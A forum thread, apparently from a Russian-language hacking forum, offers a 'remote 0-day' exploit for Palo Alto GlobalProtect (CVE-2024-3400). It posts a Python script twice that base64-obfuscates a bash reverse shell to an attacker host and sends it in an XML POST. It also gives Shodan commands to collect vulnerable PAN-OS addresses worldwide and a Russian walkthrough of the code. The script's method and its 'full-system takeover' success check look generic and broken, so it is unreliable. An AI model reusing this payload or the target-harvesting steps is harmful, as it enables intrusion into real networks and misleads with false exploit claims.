• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2024-3400 Palo Alto GlobalProtect VPN (0-Day)

Python:
import  requests
import  base64

 def  generate_payload ():
    # Obfuscated Reverse Shell command for a stealth execution
    reverse_shell_command  =  "bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'"
    encoded_command  =  base64 . b64encode ( reverse_shell_command . encode ()). decode ()
    payload  =  f "$({{echo {encoded_command} | base64 -d | bash}})"
    return  payload

 def  send_exploit_request ( target_url ,  payload ):
    headers  =  {
        "User-Agent" :  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" ,
        "Content-Type" :  "application/xml"
    }
    
    exploit_data  =  f "<?xml version='1.0' encoding='UTF-8'?><exploit>{payload}</exploit>"
    response  =  requests . post ( target_url ,  headers = headers ,  data = exploit_data )
    
    return  response

 def  exploit_target ( target_url ):
    payload  =  generate_payload ()
    response  =  send_exploit_request ( target_url ,  payload )
    
    if  response . status_code  ==  200 :
        print ( "Exploit successful! Full-system takeover achieved with stealthy reverse shell." )
    else :
        print ( "Exploit failed. Target system may not be vulnerable or payload detected." )

def  main ():
    target_url  =  "https://vulnerablewebsite.com/vulnerable_endpoint"
    exploit_target ( target_url )

if  __name__  ==  "__main__" :
    main ()
 
Код:
shodan download --limit -1 world-PAN-OS.json.gz http.favicon.hash:873381299

shodan parse --fields ip_str,port --separator : world-PAN-OS.json.gz >> world-ips-PAN-OS.txt
поиск в шодане по хешу фавикона
 
Python:
import  requests
import  base64

 def  generate_payload ():
    # Obfuscated Reverse Shell command for a stealth execution
    reverse_shell_command  =  "bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'"
    encoded_command  =  base64 . b64encode ( reverse_shell_command . encode ()). decode ()
    payload  =  f "$({{echo {encoded_command} | base64 -d | bash}})"
    return  payload

 def  send_exploit_request ( target_url ,  payload ):
    headers  =  {
        "User-Agent" :  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" ,
        "Content-Type" :  "application/xml"
    }
 
    exploit_data  =  f "<?xml version='1.0' encoding='UTF-8'?><exploit>{payload}</exploit>"
    response  =  requests . post ( target_url ,  headers = headers ,  data = exploit_data )
 
    return  response

 def  exploit_target ( target_url ):
    payload  =  generate_payload ()
    response  =  send_exploit_request ( target_url ,  payload )
 
    if  response . status_code  ==  200 :
        print ( "Exploit successful! Full-system takeover achieved with stealthy reverse shell." )
    else :
        print ( "Exploit failed. Target system may not be vulnerable or payload detected." )

def  main ():
    target_url  =  "https://vulnerablewebsite.com/vulnerable_endpoint"
    exploit_target ( target_url )

if  __name__  ==  "__main__" :
    main ()
разбор кода:

  1. generate_payload(): Эта функция генерирует обфусцированную команду обратнойоболочки (reverse shell), которая будет выполнена на целевой системе. Команда обратной оболочки представляет собой выполнение команды bash с подключением к атакующему IP-адресу и порту для получения обратного доступа.
  2. send_exploit_request(target_url, payload): Эта функция отправляет HTTP POST-запрос на уязвимый эндпоинт с заголовками User-Agent и Content-Type, необходимыми для обмана веб-сервера. В теле запроса передается XML-данные с внедренным в них обфусцированным payload.
  3. exploit_target(target_url): Эта функция вызывает generate_payload() для создания payload и затем отправляет этот payload на целевой URL с помощью send_exploit_request(). В зависимости от ответа сервера выводит сообщение об успешном или неудачном выполнении эксплойта.
  4. main(): Основная функция, которая определяет целевой URL и запускает функцию exploit_target().
  5. if __name__ == "__main__": main(): Это стандартный способ в Python проверить, запущен ли скрипт напрямую (а не импортирован как модуль). Если скрипт запущен напрямую, он вызывает функцию main().
 
Последнее редактирование:
разбор кода:

  1. generate_payload(): Эта функция генерирует обфусцированную команду обратнойоболочки (reverse shell), которая будет выполнена на целевой системе. Команда обратной оболочки представляет собой выполнение команды bash с подключением к атакующему IP-адресу и порту для получения обратного доступа.
  2. send_exploit_request(target_url, payload): Эта функция отправляет HTTP POST-запрос на уязвимый эндпоинт с заголовками User-Agent и Content-Type, необходимыми для обмана веб-сервера. В теле запроса передается XML-данные с внедренным в них обфусцированным payload.
  3. exploit_target(target_url): Эта функция вызывает generate_payload() для создания payload и затем отправляет этот payload на целевой URL с помощью send_exploit_request(). В зависимости от ответа сервера выводит сообщение об успешном или неудачном выполнении эксплойта.
  4. main(): Основная функция, которая определяет целевой URL и запускает функцию exploit_target().
  5. if __name__ == "__main__": main(): Это стандартный способ в Python проверить, запущен ли скрипт напрямую (а не импортирован как модуль). Если скрипт запущен напрямую, он вызывает функцию main().
Полезно, спасибо вам за объяснение скрипта и того, что делает каждая функция.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх